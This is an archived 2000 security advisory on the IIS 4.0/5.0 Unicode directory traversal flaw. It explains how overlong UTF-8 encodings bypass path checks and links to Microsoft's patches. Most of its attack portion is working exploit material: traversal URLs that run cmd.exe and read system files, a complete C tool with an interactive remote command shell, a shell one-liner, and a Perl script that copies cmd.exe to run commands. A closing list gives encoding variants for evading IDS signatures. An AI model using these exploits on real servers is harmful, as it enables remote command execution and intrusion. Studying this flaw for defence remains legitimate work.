24th Oct 2000 [SBWID-1422]
COMMAND

	
	    IIS
	
	

SYSTEMS AFFECTED

	
	    IIS 4, 5
	
	

PROBLEM

	
	    rain forest puppy (RFP) found following.  Recently he received  an
	    email from Par Osterberg that directed his attention to a post  in
	    the Packetstorm forums:
	
	        http://209.143.242.119/cgi-bin/cbmc/forums.cgi?authkey=anonymous&uname=anonymous&datopic=Windows&mesgcheck=defined&gum=474&editoron=
	
	    An anonymous person posts that they can run arbitrary commands  on
	    IIS 5 (Win 2000) using the following URL:
	
	        http://address.of.iis5.system/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
	
	    They  also  gave  a  sample  site  that appeared to be vulnerable.
	    Following the thread shows various people trying  (unsuccessfully)
	    to recreate the problem.  So  is the site listed a fake,  meant to
	    *appear* vulnerable?  Was it due to a misconfiguration?
	
	    First  RFP  tried  his  IIS5/Win2K  test  server--and  it   wasn't
	    vulnerable.  However, the sample site was in China (hence the .cn)
	    and they were using a UNICODE character set different than mine.
	
	    So doing a quick search on  a search engine for sites hosting  the
	    default IIS5 web page, RFP found a dozen that had foreign  UNICODE
	    fonts--and all  of them  were vulnerable.   Checking a  few  other
	    US-font sites resulted in them  being not vulnerable.  So  at this
	    point there is enough confirmation  that there is a problem.   RFP
	    can only speculate 'why' this is a vulnerability, and he figure it
	    has to do something with UNICODE translation.
	
	    However, it's still  odd.  Pulling  up vi (yes,  vi--not pico), he
	    coded  a  quick  little  perl  script  that  will  check all 65535
	    combinations in place of the %c1%1c in the 'exploit' URL.   Sorry,
	    but no script, since it's built on whisker v2.0 code, which is not
	    ready to release.
	
	    Anyways,  the  script  chugged  through  all  65535,  kicking back
	    various errors from 'Not Found', 'Authentication Required'  (?!?),
	    'Read  Access  Forbidden',  and  various  API error messages ('The
	    parameter is incorrect.' and 'The file, directory name, or  syntax
	    is invalid.').
	
	    But there in  the output, in  two particular instances,  RFP had a
	    directory listing.   Yikes.   It seems  the values  of %c0%af  and
	    %c1%9c work for IIS 5.   Curiousity getting the better of  itself,
	    RFP tried it on IIS 4.  Uh oh, works there too.
	
	    So is  it UNICODE  based?   Yes.   %c0%af and  %c1%9c are overlong
	    UNICODE representations for '/' and '\'.  There may even be longer
	    (3+  byte)  overlong  representations  too.   IIS  seems to decode
	    UNICODE at the  wrong instance (after  path checking, rather  than
	    before).
	
	    This is  one of  the vulnerabilities  Bruce Schneier  warned of in
	    one of the past CRYPTO-GRAM isssues.  The problem isn't the  wrong
	    time of  path checking  alone, but  as well  a poorly  implemented
	    UTF-8 decoder.  RFC  2279 explicitly says that  overlong sequences
	    such as 0xC0 0xAF are invalid.
	
	    Markus Kuhn's UTF-8 stress test file contains some tests  covering
	    such problems.  It's available at:
	
	        http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt
	
	    (Netscape  Communicator  4.75  appears  to  have  a  broken  UTF-8
	    decoder, too)  It's  a pity that a  lot of UTF-8 decoders  in free
	    software fail  such tests  as well,  either by  design or careless
	    implementation.
	
	    Obviously, since this was initially posted to a public forum,  RFP
	    take  no  credit  for  the  original  find--all he did was further
	    develop the research.  Thanks  again to Par Osterberg for  sending
	    the URL.
	
	    While we thought this  was going to be  bigger than RDS, it  turns
	    out the program execution  happens under IUSR_machine context,  so
	    you're limited (e.g. you can't just grab the SAM, etc).
	
	    Nsfocus Security Team found this bug several weeks ago.  A  member
	    of their team disassembled  the IIS 5.0 (Chinese  version) Unicode
	    decoding implementation, he found  a strange decoding method  when
	    IIS found "%c1%hh" and "%c0%hh" (0x00<= 0xhh < 0x40)
	
	        IIS will decode "%c1%hh" to  (0xc1 -0xc0) * 0x40 + 0xhh.
	        IIS will decode "%c0%hh" to  (0xc0 -0xc0) * 0x40 + 0xhh.
	
	    Example (Windows 2000 + IIS 5 + SP1 for Simplify Chinese version):
	
	        http://192.168.8.48/A.ida/%c1%00.ida
	        IIS said"@.ida" can't be found
	        here: ги0xc1-0xc0)*0x40+0x00=0x40='@'
	
	        http://192.168.8.48/A.ida/%c1%01.ida
	        IIS said "A.ida" can't be found
	        here: ги0xc1-0xc0)*0x40+0x01=0x41='A'
	
	        http://192.168.8.48/A.ida/%c1%02.ida
	        IIS said "B.ida" can't be found
	        ....
	
	        http://192.168.8.48/A.ida/%c0%21.ida
	        IIS said "!.ida" can't be found
	        ...
	
	    It means you  can encode most  characters with this  feature.  For
	    example:
	
	        %c1%1c -> (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/'
	        %c0%2f -> (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\'
	
	    Nsfocus  guess  that  you  can  use  it  to  bypass some directory
	    restriction:
	
	        http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
	
	    Now we get:
	
	         Directory of d:\inetpub\scripts
	
	        2000-09-28  15:49       <DIR>          .
	        2000-09-28  15:49       <DIR>          ..
	        1999-07-21  17:49              147,456 Count.exe
	        2000-09-12  17:08              438,290 Count25.exe
	        2000-10-13  15:03                8,867 counter.err
	        2000-08-23  23:07              160,002 counter.exe
	        1999-05-25  18:14                3,925 CountNT.html
	        1999-07-21  17:49               64,512 extdgts.exe
	        2000-08-10  15:24               46,352 ism.dll
	        1999-07-21  17:49               64,512 mkstrip.exe
	        1999-05-25  18:18                1,317 README.txt
	        2000-09-28  15:49       <DIR>          wcount
	                       9 File(s)        935,233 bytes
	
	    We can get the content of some system files with this bug too:
	
	        http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini
	
	    IIS deems it to be a request for a .ASP file.It will call  asp.dll
	    to open the file win.ini.  For IIS 4.0+SP6(Chinese), the URL above
	    failed.  It seems that IIS is getting smarter.  But Nsfocus  finds
	    interesting that we can use this malformed URL to trick IIS to get
	    the winnt.ini:
	
	        http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini
	
	    "default.asp" should be an existing .ASP file.  "a.exe" is  random
	    .EXE file name.  It can be a nonexisting file.
	
	    It looks IIS  4.0/5.0 for English  version has different  decoding
	    implementation.
	
	    Below is  code by  optyx (./iis-zang  www.madeupexample.com -i  is
	    particularly scarey).   One comment  - both  > and  | (pipe) don't
	    work when  passed over  http headers  (even when  encoded to ascii
	    values).   This   means  people   can't  do,   fe,  echo   "owned"
	    >c:\inetpub\wwwroot\default.asp.   So, unless  somebody can  think
	    of  a  way  around  this,  we  doubt  kids are going to deface any
	    websites.   It  also  limits   the  ability  of  writing   ftp.exe
	    non-interactive scripts remotely.
	
	    /****************************************************************************\
	    **                                                                          **
	    **    Microsoft IIS 4.0/5.0 Extended UNICODE Directory Traversal Exploit    **
	    **      proof of theory exploit cuz it's wednesday and i'm on the couch     **
	    **                                                                          **
	    **       brought to you by the letter B, the number 7, optyx, and t12       **
	    **          optyx - <optyx@uberhax0r.net optyx@newhackcity.net>          **
	    **          t12 - <t12@uberhax0r.net>                                       **
	    **                                                                          **
	    **     greetz go out to aempirei, a gun toatin' gangstah' hustler' player   **
	    **     motherfucker who isn't with us anymore, miah, who's GTA2 game was    **
	    **     was most entertaining tonight, Cathy, who provided the trippy light  **
	    **     to stare at, and to KT, for providing me with hours of decent        **
	    **     conversation.                                                        **
	    **                                                                          **
	    \****************************************************************************/
	
	    #include <stdio.h>
	    #include <netdb.h>
	    #include <stdlib.h>
	    #include <string.h>
	    #include <sys/socket.h>
	    #include <sys/types.h>
	    #include <netinet/in.h>
	    #include <arpa/inet.h>
	    #include <signal.h>
	    #include <errno.h>
	    #include <fcntl.h>
	
	    void usage(void)
	    {
	     fprintf(stderr, "usage: ./iis-zank <-t target> <-c 'command' or -i>");
	     fprintf(stderr, " [-p port] [-t timeout]\n");
	     exit(-1);
	    }
	
	    int main(int argc, char **argv)
	    {
	     int i, j;
	     int port=80;
	     int timeout=3;
	     int interactive=0;
	     char temp[1];
	     char host[512]="";
	     char cmd[1024]="";
	     char request[8192]="GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
	     struct hostent *he;
	     struct sockaddr_in s_addr;
	
	     printf("iis-zank_bread_chafer_8000_super_alpha_hyper_pickle.c\n");
	     printf("by optyx and t12\n");
	
	     for(i=0;i<argc;i++)
		    { if(argv[i][0] == '-') {
			     for(j=1;j<strlen(argv[i]);j++)
			 	    {
				     switch(argv[i][j])
				 	    {
					     case 't':
					 	    strncpy(host, argv[i+1], sizeof(host));
					 	    break;
					     case 'c':
					 	    strncpy(cmd, argv[i+1], sizeof(cmd));
					 	    break;
					     case 'h':
					 	    usage();
				 	 	    break;
					     case 'o':
						    timeout=atoi(argv[i+1]);
					 	    break;
					     case 'p':
					 	    port=atoi(argv[i+1]);
					 	    break;
					     case 'i':
					 	    interactive=1;
					 	    break;
					     default:
					     break;
					    }
				    }
			    }
		    }
	
	     if(!strcmp(host, ""))
		    {
		     fprintf(stderr, "specify target host\n");
		     usage();
		    }
	
	     if(!strcmp(cmd, "") && !interactive)
		    {
		     fprintf(stderr, "specify command to execute\n");
		     usage();
		    }
	
	     printf("]- Target - %s:%d\n", host, port);
	     if(!interactive)
	 	     printf("]- Command - %s\n", cmd);
	     printf("]- Timeout - %d seconds\n", timeout);
	     if((he=gethostbyname(host)) == NULL)
		    {
	 	     fprintf(stderr, "invalid target\n");
		     usage();
		    }
	
	     do
	 	    {
	
		     if(interactive)
		 	     {
			      cmd[0]=0;
			      printf("\nC> ");
			      if(fgets(cmd, sizeof(cmd), stdin) == NULL)
			  	      fprintf(stderr, "gets() error\n");
			      cmd[strlen(cmd)-1]='\0';
			      if(!strcmp("exit", cmd))
			  	      exit(-1);
			     }
	
	 	     for(i=0;i<strlen(cmd);i++)
			     {
		 	      if(cmd[i]==' ')
			  	    cmd[i]='+';
			     }
	
		     strncpy(request,
			       "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+",
			       sizeof(request));
	 	     strncat(request, cmd, sizeof(request) - strlen(request));
	 	     strncat(request, "\n", sizeof(request) - strlen(request));
	
	 	     s_addr.sin_family = PF_INET;
	 	     s_addr.sin_port = htons(port);
	 	     memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr,
	 		    sizeof(s_addr.sin_addr));
	
	 	     if((i=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
			     {
		 	      fprintf(stderr, "cannot create socket\n");
		 	      exit(-1);
			     }
	
	 	     alarm(timeout);
	 	     j = connect(i, (struct sockaddr *) &s_addr, sizeof(s_addr));
	 	     alarm(0);
	
	 	     if(j==-1)
			     {
		 	      fprintf(stderr, "cannot connect to %s\n", host);
		 	      exit(-1);
		 	      close(i);
			     }
	
		     if(!interactive)
	 	 	      printf("]- Sending request: %s\n", request);
	
	 	     send(i, request, strlen(request), 0);
	
		     if(!interactive)
	 	 	      printf("]- Getting results\n");
	
	 	     while(recv(i,temp,1, 0)>0)
			     {
	         	      alarm(timeout);
		 	      printf("%c", temp[0]);
	         	      alarm(0);
			     }
	
	     }
	     while(interactive);
	
	      close(i);
	      return 0;
	    }
	
	    Marco Berkum added following.   A friend (Dimitri van de  Giessen)
	    called  him  after  reading  the  article  regarding  this  remote
	    execution UNICODE style bug in the IIS webserver (supposedly >4.0)
	    found by a anonymous packetstorm mailer and investigated by RFP.
	
	    He called  in another  friend (Kristian  Vlaardingerbroek).   They
	    investigated  and  after  a  while  they  found  that RFP's string
	    "%c1%af" worked on our english version of NT 4.0.  Playing a  bit,
	    feeling  tired,  they   found  that  you   CAN  get  out   of  the
	    document_root_drive to  execute cmd.exe.   Remember the  msadc RDS
	    "feature" ?
	
	    Ok, so why not use /msadc?   Its a directory placed on the  system
	    drive  and  usually  accessible  through  normal  HTTP   requests.
	    Knowing  this  you  would  know  that  putting  the  website  on a
	    different drive than your systemdrive would not make a  difference
	    at all.   You can  put it  on and  Q:\> if  you like, you're still
	    possibly vulnerable.  Imagine what you could do with this:
	
	        ----blaat.sh----
	        #!/bin/sh
	        lynx -dump http://$1/msadc/..\%c0\%af../..\%c0\%af../..\%c0\%af../winnt/system32/cmd.exe\?/c\+$2+$3+$4+$5+$6+$7
	
	    Then:
	
	        ./blaat.sh www.yourownmachine.com dir c:\\
	
	    You need  the double  backslash to  escape it.   And voila,  a dir
	    listing.   It seems  that every  different language  version of NT
	    has different UNICODE chars,  didnt find out other  countries yet,
	    will be easy to make in perl as RFP described.
	
	    Most probably sample files like pagevieuw and codebrws.asp,  other
	    IIS samples and other "features"  like msadc, webhits, newdsn  and
	    +.htr  (%2B)  get  interesting  AGAIN  when  placed  on other dirs
	    vieuwable by the dir c:\\anything command.  Get blisters  patching
	    your NT.
	
	    After the  discussion on  Bugtraq et  al on  the IIS Unicode flaw,
	    following PERL script will check the existance of an 'alternative'
	    cmd.exe, and pass all commands to the alternative shell, or create
	    it  if  it  does  not  exists  -  making  redirection  of commands
	    possible.  Credit to all that contributed:
	
	    #!/usr/bin/perl
	    # See http://www.securityfocus.com/vdb/bottom.html?section=exploit&vid=1806
	    # Very simple PERL script to execute commands on IIS Unicode vulnerable servers
	    # Use port number with SSLproxy for testing SSL sites
	    # Usage: unicodexecute2 IP:port command
	    # Only makes use of "Socket" library
	    #
	    # New in version2:
	    # Copy the cmd.exe to something else, and then use it.
	    # The script checks for this.
	    # Thnx to security@nsfocus.com for discovering the cmd.exe copy part
	    #
	    # Roelof Temmingh 2000/10/26
	    # roelof@sensepost.com http://www.sensepost.com
	    
	    use Socket;
	    # --------------init
	    if ($#ARGV<1) {die "Usage: unicodexecute IP:port command\n";}
	    ($host,$port)=split(/:/,@ARGV[0]);
	    $target = inet_aton($host);
	    
	    # --------------test if cmd has been copied:
	    $failed=1;
	    $command="dir";
	    @results=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
	    foreach $line (@results){
	     if ($line =~ /sensepost.exe/) {$failed=0;}
	    }
	    $failed2=1;
	    if ($failed==1) {
	     print "Sensepost.exe not found - Copying CMD...\n";
	     $command="copy c:\\winnt\\system32\\cmd.exe sensepost.exe";
	     $command=~s/ /\%20/g;
	     @results2=sendraw("GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
	     foreach $line2 (@results2){
	      if (($line2 =~ /copied/ )) {$failed2=0;}
	     }
	     if ($failed2==1) {die "Copy of CMD failed - inspect manually:\n@results2\n\n"};
	    }
	    
	    # ------------ we can assume that the cmd.exe is copied from here..
	    $command=@ARGV[1];
	    print "Sensepost.exe found - Executing [$command] on $host:$port\n";
	    $command=~s/ /\%20/g;
	    my @results=sendraw("GET /scripts/..%c0%af../inetpub/scripts/sensepost.exe?/c+$command HTTP/1.0\r\n\r\n");
	    print @results;
	    
	    # ------------- Sendraw - thanx RFP rfp@wiretrip.net
	    sub sendraw {   # this saves the whole transaction anyway
	            my ($pstr)=@_;
	            socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
	                    die("Socket problems\n");
	            if(connect(S,pack "SnA4x8",2,$port,$target)){
	                    my @in;
	                    select(S);      $|=1;   print $pstr;
	                    while(<S>){ push @in, $_;}
	                    select(STDOUT); close(S); return @in;
	            } else { die("Can't connect...\n"); }
	    }
	    # Spidermark: sensepostdata
	
	

SOLUTION

	
	    Patch availability:
	
	        - IIS 4.0: http://www.microsoft.com/ntserver/nts/downloads/critical/q269862
	        - IIS 5.0: http://www.microsoft.com/windows2000/downloads/critical/q269862
	
	    The IIS  4.0 patch  can be  installed on  systems running  Windows
	    NT(r) 4.0 Service Packs 5 and 6a.  It will be included in  Windows
	    NT 4.0  Service Pack  7.   The IIS  5.0 patch  can be installed on
	    systems running either Windows(r) 2000 Gold or Service Pack 1.  It
	    will be included in Windows 2000 Service Pack 2.
	
	    If you applied the patch  provided in MS00-57 from August,  you're
	    not vulnerable.  By some lucky happenstance, that patch also fixed
	    this particular vulnerability.
	
	    Anyway to solve  a security issue,  Microsoft has decided  how you
	    can or can't name your own folders?  Specially when ".com" is  the
	    most widely used TLD on  the Internet... so expect to  have broken
	    situation after applying patch.
	
	    Just a quick note to add.   Too many people are now just  creating
	    new signatures on  their IDS to  "protect" their servers  based on
	    the  recents  advisories  where  appears  only exploit information
	    with:
	
	        %c1%1c
	        %c0%af
	        %c1%9c
	
	    Is just a misunderstanding there are too many ways to exploit this
	    bug..doing a quick search:
	
	        GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
	        GET /scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
	        GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
	        GET /scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
	        GET /scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
	        GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
	        GET /scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir (C-1-PC)
	
	    this is just in the range c0 00 to c2 00...!